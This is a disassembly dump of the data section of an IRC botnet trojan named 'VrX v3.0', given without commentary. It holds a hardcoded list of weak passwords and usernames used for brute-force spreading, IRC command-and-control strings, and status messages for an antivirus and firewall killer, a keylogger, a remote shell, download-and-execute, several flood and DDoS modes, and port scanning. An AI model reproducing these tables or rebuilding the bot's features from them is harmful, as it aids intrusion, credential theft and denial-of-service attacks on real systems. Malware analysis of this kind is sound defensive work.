aDomain		db 'domain',0           ; DATA XREF: ___:00429434o
		align 4
aHello		db 'hello',0            ; DATA XREF: ___:00429430o
		align 4
aHell		db 'hell',0             ; DATA XREF: ___:0042942Co
		align 4
aGod		db 'god',0              ; DATA XREF: ___:00429428o
aSex		db 'sex',0              ; DATA XREF: ___:00429424o
					; ___:off_438A68o
aSlut		db 'slut',0             ; DATA XREF: ___:00429420o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: ___:0042941Co
		align 4
aFuck		db 'fuck',0             ; DATA XREF: ___:00429418o
		align 4
aExchange	db 'exchange',0         ; DATA XREF: ___:00429414o
		align 4
aBackup		db 'backup',0           ; DATA XREF: ___:00429410o
		align 10h
aTechnical	db 'technical',0        ; DATA XREF: ___:0042940Co
		align 4
aLoginpass	db 'loginpass',0        ; DATA XREF: ___:00429408o
		align 4
aLogin		db 'login',0            ; DATA XREF: ___:00429404o
		align 10h
aMary		db 'mary',0             ; DATA XREF: ___:00429400o
		align 4
aKatie		db 'katie',0            ; DATA XREF: ___:004293FCo
		align 10h
aKate		db 'kate',0             ; DATA XREF: ___:004293F4o
		align 4
aGeorge		db 'george',0           ; DATA XREF: ___:004293F0o
		align 10h
aEric		db 'eric',0             ; DATA XREF: ___:004293ECo
		align 4
aChris		db 'chris',0            ; DATA XREF: ___:004293E8o
		align 10h
aIan		db 'ian',0              ; DATA XREF: ___:004293E4o
aNeil		db 'neil',0             ; DATA XREF: ___:004293E0o
		align 4
aLee		db 'lee',0              ; DATA XREF: ___:004293DCo
aBrian		db 'brian',0            ; DATA XREF: ___:004293D8o
		align 4
aSusan		db 'susan',0            ; DATA XREF: ___:004293D0o
		align 10h
aSue		db 'sue',0              ; DATA XREF: ___:004293CCo
aSam		db 'sam',0              ; DATA XREF: ___:004293C8o
aLuke		db 'luke',0             ; DATA XREF: ___:004293C4o
		align 10h
aPeter		db 'peter',0            ; DATA XREF: ___:004293C0o
					; ___:004293D4o
		align 4
aJohn		db 'john',0             ; DATA XREF: ___:004293BCo
		align 10h
aMike		db 'mike',0             ; DATA XREF: ___:004293B8o
		align 4
aBill		db 'bill',0             ; DATA XREF: ___:004293B4o
		align 10h
aFred		db 'fred',0             ; DATA XREF: ___:004293B0o
		align 4
aJoe		db 'joe',0              ; DATA XREF: ___:004293ACo
aJen		db 'jen',0              ; DATA XREF: ___:004293A8o
aBob		db 'bob',0              ; DATA XREF: ___:004293A4o
					; ___:004293F8o
aQwe		db 'qwe',0              ; DATA XREF: ___:004293A0o
aZxc		db 'zxc',0              ; DATA XREF: ___:0042939Co
aAsd		db 'asd',0              ; DATA XREF: ___:00429398o
aQaz		db 'qaz',0              ; DATA XREF: ___:00429394o
aWin2000	db 'win2000',0          ; DATA XREF: ___:00429390o
aWinnt		db 'winnt',0            ; DATA XREF: ___:0042938Co
		align 4
aWinxp		db 'winxp',0            ; DATA XREF: ___:00429388o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: ___:00429384o
		align 4
aWin98		db 'win98',0            ; DATA XREF: ___:00429380o
		align 4
aWindows	db 'windows',0          ; DATA XREF: ___:0042937Co
aOeminstall	db 'oeminstall',0       ; DATA XREF: ___:00429378o
		align 10h
aOemuser	db 'oemuser',0          ; DATA XREF: ___:00429374o
aOem		db 'oem',0              ; DATA XREF: ___:00429370o
aUser		db 'user',0             ; DATA XREF: sub_401ACD+45CFo
					; ___:0042936Co
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: ___:00429368o
		align 10h
aHome		db 'home',0             ; DATA XREF: ___:00429364o
		align 4
aAccounting	db 'accounting',0       ; DATA XREF: ___:00429360o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: ___:0042935Co
		align 10h
aInternet	db 'internet',0         ; DATA XREF: ___:00429358o
					; ___:004294B4o
		align 4
aWww		db 'www',0              ; DATA XREF: ___:00429354o
aWeb		db 'web',0              ; DATA XREF: sub_401ACD+7283o
					; ___:00429350o
aOutlook	db 'outlook',0          ; DATA XREF: ___:0042934Co
aMail		db 'mail',0             ; DATA XREF: ___:00429348o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: ___:00429344o
		align 4
aNull_1		db 'null',0             ; DATA XREF: ___:00429340o
		align 4
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E8Bo
					; ___:00429338o
		align 4
aSystem		db 'system',0           ; DATA XREF: ___:00429334o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: ___:0042932Co
		align 10h
aLinux		db 'linux',0            ; DATA XREF: ___:00429328o
		align 4
aUnix		db 'unix',0             ; DATA XREF: ___:00429324o
		align 10h
aDemo		db 'demo',0             ; DATA XREF: ___:00429320o
		align 4
aNone		db 'none',0             ; DATA XREF: ___:0042931Co
		align 10h
aTest		db 'test',0             ; DATA XREF: ___:00429314o
		align 4
a2004		db '2004',0             ; DATA XREF: ___:00429310o
		align 10h
a2003		db '2003',0             ; DATA XREF: sub_41AF8F+BAo
					; ___:0042930Co
		align 4
a2002		db '2002',0             ; DATA XREF: ___:00429308o
		align 10h
a2001		db '2001',0             ; DATA XREF: ___:00429304o
		align 4
a2000		db '2000',0             ; DATA XREF: ___:00429300o
		align 10h
a1234567890	db '1234567890',0       ; DATA XREF: ___:004292FCo
		align 4
a123456789	db '123456789',0        ; DATA XREF: ___:004292F8o
		align 4
a12345678	db '12345678',0         ; DATA XREF: ___:004292F4o
		align 4
a1234567	db '1234567',0          ; DATA XREF: ___:004292F0o
a123456		db '123456',0           ; DATA XREF: ___:004292ECo
		align 4
a12345		db '12345',0            ; DATA XREF: ___:004292E8o
		align 4
a1234		db '1234',0             ; DATA XREF: ___:004292E4o
		align 4
a123		db '123',0              ; DATA XREF: ___:004292E0o
a12		db '12',0               ; DATA XREF: ___:004292DCo
		align 4
a1:					; DATA XREF: ___:0040AFC7o
					; ___:004292D8o
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: ___:004292D4o
aPwd		db 'pwd',0              ; DATA XREF: ___:004292D0o
aPass		db 'pass',0             ; DATA XREF: ___:004292CCo
		align 10h
aPass1234	db 'pass1234',0         ; DATA XREF: ___:004292C8o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: ___:004292C4o
		align 4
aPassword	db 'password',0         ; DATA XREF: ___:004292C0o
		align 10h
aPassword1	db 'password1',0        ; DATA XREF: ___:004292BCo
		align 4
aAdm		db 'adm',0              ; DATA XREF: ___:004292B8o
aDb2		db 'db2',0              ; DATA XREF: ___:00429460o
aOracle		db 'oracle',0           ; DATA XREF: ___:00429478o
		align 4
aDba		db 'dba',0
aDatabase	db 'database',0         ; DATA XREF: ___:00429440o
		align 4
aDefault	db 'default',0          ; DATA XREF: ___:00429330o
aGuest_0	db 'guest',0            ; DATA XREF: ___:00429318o
		align 4
aWwwadmin	db 'wwwadmin',0
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: ___:004294C0o
aStudent	db 'student',0          ; DATA XREF: ___:004294BCo
aOwner		db 'owner',0
		align 10h
aComputer	db 'computer',0
		align 4
aRoot		db 'root',0             ; DATA XREF: ___:0042933Co
		align 4
aStaff		db 'staff',0            ; DATA XREF: ___:004294C4o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: ___:004292B4o
		align 4
aAdmins		db 'admins',0           ; DATA XREF: ___:004292B0o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: ___:004292ACo
aAdministrateur	db 'administrateur',0   ; DATA XREF: ___:004292A8o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: ___:004292A4o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:004292A0o
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429164o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429160o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_42915Co
dword_4299D4	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040168Co
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_429A08	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401641o
aServerRunningO	db '- Server running on Port: 113.',0
		align 4
unk_429A34	db  2Dh	; -		; DATA XREF: ___:00401614o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
unk_429A74	db  2Dh	; -		; DATA XREF: ___:004015C3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_429A98	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401585o
		dd 2E646574h, 0
dword_429AB4	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_429AC0	dd 255C7325h, 73h	; DATA XREF: ___:004013AAo
dword_429AC8	dd 73257325h, 0		; DATA XREF: ___:0040132Eo
					; sub_4100B4+EAo ...
unk_429AD0	db    3			; DATA XREF: sub_4017ED+F2o
a81VrxConnected	db '8,1-VrX- Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D25o
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D0Do
		align 4
unk_429B34	db    3			; DATA XREF: sub_401ACD+7CF9o
a81VrxUserSLogg	db '8,1-VrX- User: %s logged in.',0
		align 4
unk_429B54	db    3			; DATA XREF: sub_401ACD+7CDCo
a81VrxPasswordA	db '8,1-VrX- Password accepted.',0
		align 4
unk_429B74	db    3			; DATA XREF: sub_401ACD+7C7Bo
a81VrxFailedHos	db '8,1-VrX- *Failed host auth by: (%s!%s).',0
		align 10h
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7C52o
		align 4
unk_429BC8	db    3			; DATA XREF: sub_401ACD+7C14o
a81VrxFailedPas	db '8,1-VrX- *Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7C02o
					; sub_401ACD+7C69o
		align 10h
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7BEBo
		align 4
asc_429C48:				; DATA XREF: sub_401ACD+7BBBo
		unicode	0, <~>,0
unk_429C4C	db    3			; DATA XREF: sub_401ACD+7B6Bo
a81VrxRandomNic	db '8,1-VrX- Random nick change: %s',0
		align 10h
unk_429C70	db    3			; DATA XREF: sub_401ACD+7AFDo
a81VrxReconnect	db '8,1-VrX- Reconnecting in %s seconds',0
		align 4
unk_429C98	db    3			; DATA XREF: sub_401ACD+7AB9o
a81VrxReconne_0	db '8,1-VrX- Reconnecting in %s ms',0
unk_429CB8	db    3			; DATA XREF: sub_401ACD+7A99o
a81VrxNickChang	db '8,1-VrX- Nick changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429CDC	db    3			; DATA XREF: sub_401ACD+7A7Do
a81VrxJoinedCha	db '8,1-VrX- Joined channel: ',27h,'%s',27h,'.',0
unk_429CFC	db    3			; DATA XREF: sub_401ACD+7A5Ao
a81VrxPartedCha	db '8,1-VrX- Parted channel: ',27h,'%s',27h,'.',0
unk_429D1C	db    3			; DATA XREF: sub_401ACD+7A3Eo
a81VrxIrcRawS_	db '8,1-VrX- IRC Raw: %s.',0
		align 4
unk_429D34	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40948Ao
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 10h
unk_429D60	db  2Dh	; -		; DATA XREF: sub_401ACD+79B6o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_429D84	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40943Do
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_429DAC	db  2Dh	; -		; DATA XREF: sub_401ACD+7966o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401ACD+794Co
unk_429DD8	db    3			; DATA XREF: sub_401ACD+7848o
a81VrxPrefixCha	db '8,1-VrX- Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_429DFC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409300o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429E20	db  2Dh	; -		; DATA XREF: sub_401ACD+7829o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 10h
unk_429E40	db    3			; DATA XREF: sub_401ACD+7809o
a81VrxServerCha	db '8,1-VrX- Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429E64	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4092BDo
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_429E8C	db  2Dh	; -		; DATA XREF: sub_401ACD+77C2o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_429EAC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409255o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_429EDC	db  2Dh	; -		; DATA XREF: sub_401ACD+777Eo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429EFC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4091F5o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429F2C	db  2Dh	; -		; DATA XREF: sub_401ACD+7721o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 10h
dword_429F50	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+76DFo
		dd 27732527h, 2Eh
unk_429F6C	db  2Dh	; -		; DATA XREF: sub_401ACD+7667o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_429F90	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+75ECo
		dd 0
unk_429FA8	db  2Dh	; -		; DATA XREF: sub_401ACD+75BFo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 4
dword_429FE8	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+7550o
		dd 2Eh
dword_42A000	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_408F9Do
		dd 746E6573h, 2Eh
unk_42A01C	db  2Dh	; -		; DATA XREF: sub_401ACD+74C9o
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_42A03C	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+748Fo
		dd 732520h
unk_42A054	db  2Dh	; -		; DATA XREF: sub_401ACD+7481o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 10h
asc_42A080:				; DATA XREF: sub_401ACD+7469o
					; sub_4100B4+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42A084	db    3			; DATA XREF: sub_401ACD+7441o
a81VrxReadFileF	db '8,1-VrX- Read file failed: %s',0
		align 4
unk_42A0A4	db    3			; DATA XREF: sub_401ACD+7436o
a81VrxReadFileC	db '8,1-VrX- Read file complete: %s',0
		align 4
aUnknowModeType	db 'Unknow mode type.',0 ; DATA XREF: sub_401ACD:loc_408E97o
		align 4
aFailedToStartL	db 'Failed to start logging thread, error: <%d>.',0
					; DATA XREF: sub_401ACD+73B4o
		align 4
aNormalKeyLogge	db 'Normal key logger active.',0 ; DATA XREF: sub_401ACD+733Do
		align 4
aNormal_0	db 'normal',0           ; DATA XREF: sub_401ACD+72EDo
		align 10h
aKeylogerAlread	db 'Keyloger Already running.',0 ; DATA XREF: sub_401ACD+7263o
		align 4
aVrxV3_0SitesKe	db 'VrX v3.0 sites keylogger active.',0 ; DATA XREF: sub_401ACD+7236o
					; sub_401ACD+72E5o
		align 10h
aKeylog_0	db 'Keylog',0           ; DATA XREF: sub_401ACD+7231o
		align 4
unk_42A178	db    3			; DATA XREF: sub_401ACD+7216o
a81VrxGethostS_	db '8,1-VrX- Gethost: %s.',0
		align 10h
unk_42A190	db    3			; DATA XREF: sub_401ACD+71D2o
a81VrxUnableToE	db '8,1-VrX- Unable to extract Gethost command.',0
		align 10h
unk_42A1C0	db    3			; DATA XREF: sub_401ACD+71B6o
a81VrxGethostSC	db '8,1-VrX- Gethost: %s, Command: %s',0
		align 4
unk_42A1E4	db    3			; DATA XREF: sub_401ACD+7119o
a81VrxAliasAdde	db '8,1-VrX- Alias added: %s.',0
		align 10h
unk_42A200	db    3			; DATA XREF: sub_401ACD+70E7o
a81VrxPrivmsgSS	db '8,1-VrX- Privmsg: %s: %s.',0
		align 4
unk_42A21C	db    3			; DATA XREF: sub_401ACD+7096o
a81VrxActionSS_	db '8,1-VrX- Action: %s: %s.',0
		align 4
dword_42A238	dd 312C3803h, 5872562Dh, 7943202Dh, 2E656C63h, 0
					; DATA XREF: sub_401ACD+7028o
dword_42A24C	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+6FEEo
					; sub_401ACD+7A49o
unk_42A258	db    3			; DATA XREF: sub_401ACD+6FC7o
a81VrxModeChang	db '8,1-VrX- Mode change: %s',0
		align 4
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+6FB6o
		align 10h
dword_42A280	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+6F8Do
		dd 25203A29h, 73h
dword_42A29C	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+6F1Fo
		dd 203A2973h, 7325h
dword_42A2B8	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6EC7o
dword_42A2C0	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6E95o
		dd 203A2973h, 7325h
dword_42A2DC	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6E1Do
dword_42A2E8	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6DEBo
					; sub_401ACD+6E71o ...
dword_42A2F0	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6DB6o
dword_42A2F8	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6D79o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42A334	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6D0Eo
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 10h
unk_42A360	db  2Dh	; -		; DATA XREF: sub_401ACD+6CA8o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A39C	db  2Dh	; -		; DATA XREF: sub_401ACD+6C39o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_42A3D0	db    3			; DATA XREF: sub_401ACD+6B9Do
a81VrxRepeatNot	db '8,1-VrX- Repeat not allowed in command line: %s',0
		align 4
unk_42A404	db    3			; DATA XREF: sub_401ACD+6B60o
a81VrxRepeatS	db '8,1-VrX- Repeat: %s',0
		align 4
dword_42A41C	dd 312C3803h, 5872562Dh, 6544202Dh, 2E79616Ch, 0
					; DATA XREF: sub_401ACD:loc_408591o
dword_42A430	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6A84o
					; sub_401ACD+6B37o ...
dword_42A440	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4084F0o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 4
dword_42A488	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A19o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_42A4C4	dd 234032Dh, 61526159h,	3022162h ; DATA	XREF: sub_401ACD+69AAo
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 10h
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+6904o
		align 4
dword_42A4FC	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+68A2o
		dd 7325203Ah, 0
unk_42A518	db  2Dh	; -		; DATA XREF: sub_401ACD+6897o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42A53C	db  2Dh	; -		; DATA XREF: sub_401ACD+67FDo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A578	db  2Dh	; -		; DATA XREF: sub_401ACD+6787o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 4
dword_42A5A8	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40818Do
					; sub_401ACD:loc_4091C7o
unk_42A5B4	db  2Dh	; -		; DATA XREF: sub_401ACD+66ABo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_42A5D8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408156o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 10h
unk_42A610	db  2Dh	; -		; DATA XREF: sub_401ACD+667Fo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A648	db  2Dh	; -		; DATA XREF: sub_401ACD+660Fo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A674	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+658Co
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 10h
dword_42A6B0	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+651Do
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 10h
unk_42A6E0	db  2Dh	; -		; DATA XREF: sub_401ACD+64A4o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A718	db  2Dh	; -		; DATA XREF: sub_401ACD+6435o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A748	db  2Dh	; -		; DATA XREF: sub_401ACD+63ABo
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A780	db  2Dh	; -		; DATA XREF: sub_401ACD+633Co
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42A7B0	db  2Dh	; -		; DATA XREF: sub_401ACD+62C3o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A7E8	db  2Dh	; -		; DATA XREF: sub_401ACD+6254o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A824	db  2Dh	; -		; DATA XREF: sub_401ACD+61DBo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42A864	dd 234032Dh, 61526159h,	3022162h ; DATA	XREF: sub_401ACD+616Co
aDownloadingUrl	db '- Downloading URL: %s to: %s.',0
		align 10h
unk_42A890	db  2Dh	; -		; DATA XREF: sub_401ACD+609Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42A8D4	db  2Dh	; -		; DATA XREF: sub_401ACD+602Eo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A910	db    3			; DATA XREF: sub_401ACD+5F31o
a81Sc@nPortScan	db '8,1-SC@N- Port scan started: %s:%d with delay: %d(ms).',0
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5E85o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5DB0o
		align 4
dword_42A968	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5D22o
					; sub_401ACD+7074o
unk_42A974	db  2Dh	; -		; DATA XREF: sub_401ACD+5CC0o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 10h
unk_42A9B0	db  2Dh	; -		; DATA XREF: sub_401ACD+5C51o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 10h
unk_42AA00	db    3			; DATA XREF: sub_401ACD+5BBAo
					; sub_401ACD+5FA0o
a81Sc@nFailedTo	db '8,1-SC@N- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42AA38	db    3			; DATA XREF: sub_401ACD+5B4Bo
a81Sc@nSPortSca	db '8,1-SC@N- %s Port Scan started on %s:%d with a delay of %d second'
		db 's for %d minutes using %d threads.',0
